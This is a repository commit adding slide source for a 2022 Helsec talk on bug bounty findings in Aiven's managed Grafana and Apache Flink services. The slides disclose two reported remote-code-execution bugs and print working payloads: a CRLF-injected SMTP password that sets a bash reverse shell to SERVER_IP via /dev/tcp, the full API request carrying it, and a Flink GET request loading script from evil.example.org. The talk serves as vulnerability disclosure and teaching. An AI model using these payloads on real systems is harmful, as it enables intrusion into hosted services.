-
Jari Jääskelä committed 2 years ago
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
-
-
-
helsec-0311.pdfBinary file.
-
img/aiven-flink-rce.png
-
img/aiven_dashboard.png
-
img/aiven_rank.png
-
img/flink-plan-get.png
-
img/grafana_aiven_config.png
-
img/grafana_doc1.png
-
img/grafana_rendering1.png
-
img/grafana_rendering2.png
-
img/grafana_rendering3.png
-
img/report_grafana_reward.png
-
img/rewards.png
-
img/rewards_highlighted.png
-
img/services.png
-
img/severity.png
-
img/severity_highlighted.png
-
img/stats.png
-
package-lock.jsonDiff is too large to be displayed.
-
-
1 + --- 2 + theme: ./theme 3 + colorSchema: light 4 + title: Hacking Aiven managed services for fun and profit 5 + --- 6 + 7 + # Hacking Aiven managed services for fun and profit 8 + 9 + Jari Jääskelä, November 3. 2022, Helsec 10 + 11 + --- 12 + layout: image-x 13 + image: 'img/stats.png' 14 + imageOrder: 2 15 + --- 16 + 17 + # # whoami 18 + 19 + - Bug Bounties since 2020 20 + - "Full-time" for awhile at the start of 2022 21 + 22 + <img src="img/aiven_rank.png"/> 23 + 24 + <BarBottom title="hackerone.com/jarij"> 25 + <Item text="@JJaaskela"> 26 + <carbon:logo-twitter /> 27 + </Item> 28 + </BarBottom> 29 + 30 + 31 + --- 32 + layout: intro 33 + --- 34 + 35 + # Overview 36 + 37 + - About Bug Bounties 38 + - Aiven Bug Bounty program 39 + - My approach for huntings bugs through few examples 40 + 41 + --- 42 + 43 + # What are Bug Bounties? 44 + 45 + - Hackers rewarded for discovering security issues 46 + - Reward based on impact 47 + 48 + --- 49 + 50 + # What is Aiven? 51 + 52 + - Managed service provider for Grafana, MySQL, PostgreSQL, etc ... 53 + - Managed services hosted in Google Cloud, AWS, DigitalOcean, ... (customer can configure) 54 + - Infrastructure exists under Aiven's cloud account 55 + - Customer does not have code execution access on managed services 56 + 57 + <img src="img/aiven_dashboard.png" style="height: 300px"/> 58 + 59 + --- 60 + 61 + # Aiven Bug Bounty program 62 + 63 + <img src="img/services.png" style="height:420px" /> 64 + 65 + <BarBottom title="hackerone.com/aiven_ltd"> 66 + <Item text="@JJaaskela"> 67 + <carbon:logo-twitter /> 68 + </Item> 69 + </BarBottom> 70 + 71 + --- 72 + 73 + # Aiven Bug Bounty program 74 + 75 + 76 + <img src="img/rewards_highlighted.png" /> 77 + 78 + <img src="img/severity_highlighted.png" style="height:225px" /> 79 + 80 + 81 + <BarBottom title="hackerone.com/aiven_ltd"> 82 + <Item text="@JJaaskela"> 83 + <carbon:logo-twitter /> 84 + </Item> 85 + </BarBottom> 86 + 87 + --- 88 + 89 + # Grafana RCE (1) 90 + 91 + 92 + <img src="img/grafana_aiven_config.png" style="height:400px"/> 93 + 94 + - How the web backend updates the Grafana configuration? 95 + 96 + <BarBottom title="hackerone.com/reports/1200647"> 97 + <Item text="@JJaaskela"> 98 + <carbon:logo-twitter /> 99 + </Item> 100 + </BarBottom> 101 + 102 + --- 103 + 104 + # Grafana RCE (2) 105 + 106 + - Let's look at the Grafana documentation 107 + <img src="img/grafana_doc1.png"/> 108 + 109 + <BarBottom title="hackerone.com/reports/1200647"> 110 + <Item text="@JJaaskela"> 111 + <carbon:logo-twitter /> 112 + </Item> 113 + </BarBottom> 114 + 115 + --- 116 + 117 + # Grafana RCE (3) 118 + 119 + - Supports configuration via grafana.ini file: 120 + 121 + ```txt 122 + app_mode = production 123 + instance_name = ${HOSTNAME} 124 + force_migration = false 125 + 126 + [paths] 127 + data = data 128 + temp_data_lifetime = 24h 129 + logs = data/log 130 + plugins = data/plugins 131 + provisioning = conf/provisioning 132 + [server] 133 + # Protocol (http, https, h2, socket) 134 + protocol = http 135 + ``` 136 + 137 + <BarBottom title="hackerone.com/reports/1200647"> 138 + <Item text="@JJaaskela"> 139 + <carbon:logo-twitter /> 140 + </Item> 141 + </BarBottom> 142 + 143 + --- 144 + 145 + # Grafana RCE (3) 146 + 147 + - Likely Aiven creates grafana.ini dynamically from user input 148 + 149 + <BarBottom title="hackerone.com/reports/1200647"> 150 + <Item text="@JJaaskela"> 151 + <carbon:logo-twitter /> 152 + </Item> 153 + </BarBottom> 154 + 155 + --- 156 + 157 + # Grafana RCE (4) 158 + 159 + - Q1: Can we edit unsupported configuration options by injecting newline characters? 160 + - Q2: How this could be escalated to Remote Command Execution (RCE)? 161 + 162 + <BarBottom title="hackerone.com/reports/1200647"> 163 + <Item text="@JJaaskela"> 164 + <carbon:logo-twitter /> 165 + </Item> 166 + </BarBottom> 167 + 168 + --- 169 + 170 + # Grafana RCE (5) - Q1 171 + 172 + - Testing for CRLF injection (\r\n) AKA newline injection 173 + - <b>API input validation schema in Github:</b> 174 + - github.com/aiven/terraform-provider-aiven/aiven/templates/service_user_config_schema.json 175 + 176 + <BarBottom title="hackerone.com/reports/1200647"> 177 + <Item text="@JJaaskela"> 178 + <carbon:logo-twitter /> 179 + </Item> 180 + </BarBottom> 181 + 182 + --- 183 + 184 + # Grafana RCE (6) - Q1 185 + 186 + Example input validation entry: 187 + ```json 188 + "recovery_basebackup_name": { 189 + "example": "backup-20191112t091354293891z", 190 + "maxLength": 128, 191 + "pattern": "^[a-zA-Z0-9-_:.]+$", 192 + "title": "Name of the basebackup to restore in forked service", 193 + "type": "string" 194 + } 195 + ``` 196 + 197 + - Regex pattern validation 198 + - `$` at the end == matches the end of the line == input cannot contain new line 199 + 200 + <BarBottom title="hackerone.com/reports/1200647"> 201 + <Item text="@JJaaskela"> 202 + <carbon:logo-twitter /> 203 + </Item> 204 + </BarBottom> 205 + 206 + --- 207 + 208 + # Grafana RCE (7) - Q1 209 + 210 + SMTP server parameters missing regex validation. CRLF injection possible!!! 211 + 212 + ```json 213 + "smtp_server": { 214 + "additionalproperties": false, 215 + "properties": { 216 + "from_name": { 217 + "maxLength": 128, 218 + "type": [ 219 + "string" 220 + ] 221 + }, 222 + "host": { 223 + "maxLength": 255, 224 + "type": "string" 225 + }, 226 + "password": { 227 + "maxLength": 255, 228 + "type": [ 229 + "string" 230 + ] 231 + } 232 + } 233 + } 234 + ``` 235 + 236 + <BarBottom title="hackerone.com/reports/1200647"> 237 + <Item text="@JJaaskela"> 238 + <carbon:logo-twitter /> 239 + </Item> 240 + </BarBottom> 241 + 242 + --- 243 + 244 + # Grafana RCE (x) 245 + 246 + - Q1: Can we edit unsupported configuration options by injecting newline characters? ✅ 247 + - <b>Q2: How this could be escalated to Remote Command Execution (RCE)?</b> 248 + 249 + 250 + <BarBottom title="hackerone.com/reports/1200647"> 251 + <Item text="@JJaaskela"> 252 + <carbon:logo-twitter /> 253 + </Item> 254 + </BarBottom> 255 + 256 + --- 257 + 258 + # Grafana RCE (7) - Q2 259 + 260 + <img src="img/grafana_rendering1.png"/> 261 + 262 + <BarBottom title="hackerone.com/reports/1200647"> 263 + <Item text="@JJaaskela"> 264 + <carbon:logo-twitter /> 265 + </Item> 266 + </BarBottom> 267 + 268 + --- 269 + 270 + # Grafana RCE (8) - Q2 271 + 272 + <img src="img/grafana_rendering2.png"/> 273 + 274 + <BarBottom title="hackerone.com/reports/1200647"> 275 + <Item text="@JJaaskela"> 276 + <carbon:logo-twitter /> 277 + </Item> 278 + </BarBottom> 279 + 280 + 281 + --- 282 + 283 + # Grafana RCE (x) 284 + 285 + - <https://peter.sh/experiments/chromium-command-line-switches/>: 286 + <img src="img/grafana_rendering3.png"/> 287 + 288 + <BarBottom title="hackerone.com/reports/1200647"> 289 + <Item text="@JJaaskela"> 290 + <carbon:logo-twitter /> 291 + </Item> 292 + </BarBottom> 293 + 294 + 295 + --- 296 + 297 + # Grafana RCE (x) 298 + 299 + - How to establish reverse shell? 300 + - Bash supports /dev/tcp/SERVER_IP/SERVER_PORT - bash opens tcp connection to SERVER_IP:SERVER_PORT 301 + - Bash reverse shell: `bash -l > /dev/tcp/SERVER_IP/4444 0<&1 2>&1` 302 + 303 + <BarBottom title="hackerone.com/reports/1200647"> 304 + <Item text="@JJaaskela"> 305 + <carbon:logo-twitter /> 306 + </Item> 307 + </BarBottom> 308 + 309 + --- 310 + 311 + # Grafana RCE (x) 312 + 313 + ```txt 314 + [plugin.grafana-image-renderer] 315 + rendering_args=--renderer-cmd-prefix=bash -c bash -l > /dev/tcp/SERVER_IP/4444 0<&1 2>&1 316 + ``` 317 + 318 + <BarBottom title="hackerone.com/reports/1200647"> 319 + <Item text="@JJaaskela"> 320 + <carbon:logo-twitter /> 321 + </Item> 322 + </BarBottom> 323 + 324 + --- 325 + 326 + # Grafana RCE (9) 327 + 328 + - For some reason, could not pass whitespaces, had to encode spaces using "$IFS" 329 + 330 + ```txt 331 + [plugin.grafana-image-renderer] 332 + rendering_args=--renderer-cmd-prefix=bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1 333 + ``` 334 + 335 + <BarBottom title="hackerone.com/reports/1200647"> 336 + <Item text="@JJaaskela"> 337 + <carbon:logo-twitter /> 338 + </Item> 339 + </BarBottom> 340 + 341 + --- 342 + 343 + # Grafana RCE (9) 344 + 345 + ```http 346 + PUT /v1/project/PROJECT_NAME/service/GRAFANA_INSTANCE_NAME HTTP/1.1 347 + Host: console.aiven.io 348 + Authorization: aivenv1 AIVEN_TOKEN_HERE 349 + Content-Type: application/json 350 + 351 + { 352 + "user_config": { 353 + "smtp_server": { 354 + "host": "example.org", 355 + "port": 1, 356 + "from_address": "[email protected]", 357 + "password": "x\r\n[plugin.grafana-image-renderer]\r\nrendering_args=--renderer-cmd-prefix=bash -c 358 + bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1" 359 + } 360 + } 361 + } 362 + ``` 363 + 364 + - After config update, trigger rendering by browsing to https://GRAFANA_INSTANCE_NAME.aivencloud.com/render/x 365 + 366 + <BarBottom title="hackerone.com/reports/1200647"> 367 + <Item text="@JJaaskela"> 368 + <carbon:logo-twitter /> 369 + </Item> 370 + </BarBottom> 371 + 372 + --- 373 + 374 + # Grafana RCE (10) 375 + 376 + <img src="img/report_grafana_reward.png"/> 377 + 378 + <BarBottom title="hackerone.com/reports/1200647"> 379 + <Item text="@JJaaskela"> 380 + <carbon:logo-twitter /> 381 + </Item> 382 + </BarBottom> 383 + 384 + --- 385 + 386 + # Apache Flink RCE (1) 387 + 388 + - Apache Flink has REST API 389 + - Aiven blocked access to some REST API endpoints via reverse proxy rules (HAProxy) 390 + - However, all GET operations were still allowed 391 + 392 + 393 + <BarBottom title="hackerone.com/reports/1418891"> 394 + <Item text="@JJaaskela"> 395 + <carbon:logo-twitter /> 396 + </Item> 397 + </BarBottom> 398 + 399 + --- 400 + 401 + # Apache Flink RCE (2) 402 + 403 + Apache Flink Rest API documentation: 404 + 405 + <img src="img/flink-plan-get.png"/> 406 + 407 + - Can specify java class name and class arguments !?! 🤔 408 + - Potential RCE using GET request!?! What!!! 409 + 410 + 411 + <BarBottom title="hackerone.com/reports/1418891"> 412 + <Item text="@JJaaskela"> 413 + <carbon:logo-twitter /> 414 + </Item> 415 + </BarBottom> 416 + 417 + --- 418 + 419 + # Apache Flink RCE 420 + 421 + - Finding the gadget ... TODO 422 + 423 + <BarBottom title="hackerone.com/reports/1418891"> 424 + <Item text="@JJaaskela"> 425 + <carbon:logo-twitter /> 426 + </Item> 427 + </BarBottom> 428 + 429 + --- 430 + 431 + # Apache Flink RCE 432 + 433 + - GET <https://FLINK_INSTANCE_NAME.aivencloud.com/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load(https://evil.example.org)¶llelism=1> 434 + 435 + <BarBottom title="hackerone.com/reports/1418891"> 436 + <Item text="@JJaaskela"> 437 + <carbon:logo-twitter /> 438 + </Item> 439 + </BarBottom> 440 + 441 + --- 442 + 443 + # Apache Flink RCE 444 + 445 + <BarBottom title="hackerone.com/reports/1418891"> 446 + <Item text="@JJaaskela"> 447 + <carbon:logo-twitter /> 448 + </Item> 449 + </BarBottom> 450 + 451 + --- 452 + 453 + # Apache Flink RCE 454 + 455 + <img src="img/aiven-flink-rce.png"/> 456 + 457 + <BarBottom title="hackerone.com/reports/1418891"> 458 + <Item text="@JJaaskela"> 459 + <carbon:logo-twitter /> 460 + </Item> 461 + </BarBottom> 462 + 463 + --- 464 + 465 + # Apache Flink RCE - Fun fact 466 + 467 + - 🤔 GET /jars/:jarId/:plan was silently removed in Flink 1.16 (28 Oct 2022) release 🧐 468 + 469 + <BarBottom title="hackerone.com/reports/1418891"> 470 + <Item text="@JJaaskela"> 471 + <carbon:logo-twitter /> 472 + </Item> 473 + </BarBottom> -
-
-
-
-
-
-
-
-
1 + { 2 + "name": "slidev-theme-purplin", 3 + "version": "1.1.0", 4 + "engines": { 5 + "node": ">=14.0.0" 6 + }, 7 + "description": "Purplin theme for Slidev", 8 + "keywords": [ 9 + "slidev-theme", 10 + "slidev" 11 + ], 12 + "license": "MIT", 13 + "repository": { 14 + "type": "git", 15 + "url": "https://github.com/moudev/slidev-theme-purplin" 16 + }, 17 + "slidev": { 18 + "colorSchema": "both", 19 + "highlighter": "all" 20 + }, 21 + "author": "Mauricio Martínez <[email protected]>", 22 + "bugs": "https://github.com/moudev/slidev-theme-purplin/issues", 23 + "scripts": { 24 + "dev": "slidev example.md --open", 25 + "build": "slidev build example.md", 26 + "export": "slidev export example.md", 27 + "screenshot": "slidev export example.md --format png", 28 + "release:major": "changelog -M && git add CHANGELOG.md && git commit -m 'feat(docs): updated CHANGELOG.md' && npm version major && git push origin && git push origin --tags", 29 + "release:minor": "changelog -m && git add CHANGELOG.md && git commit -m 'feat(docs): updated CHANGELOG.md' && npm version minor && git push origin && git push origin --tags", 30 + "release:patch": "changelog -p && git add CHANGELOG.md && git commit -m 'feat(docs): updated CHANGELOG.md' && npm version patch && git push origin && git push origin --tags" 31 + }, 32 + "dependencies": { 33 + "@slidev/cli": "^0.27.9", 34 + "@slidev/theme-default": "^0.21.0" 35 + }, 36 + "devDependencies": { 37 + "generate-changelog": "^1.8.0" 38 + } 39 + } 40 + -
-
-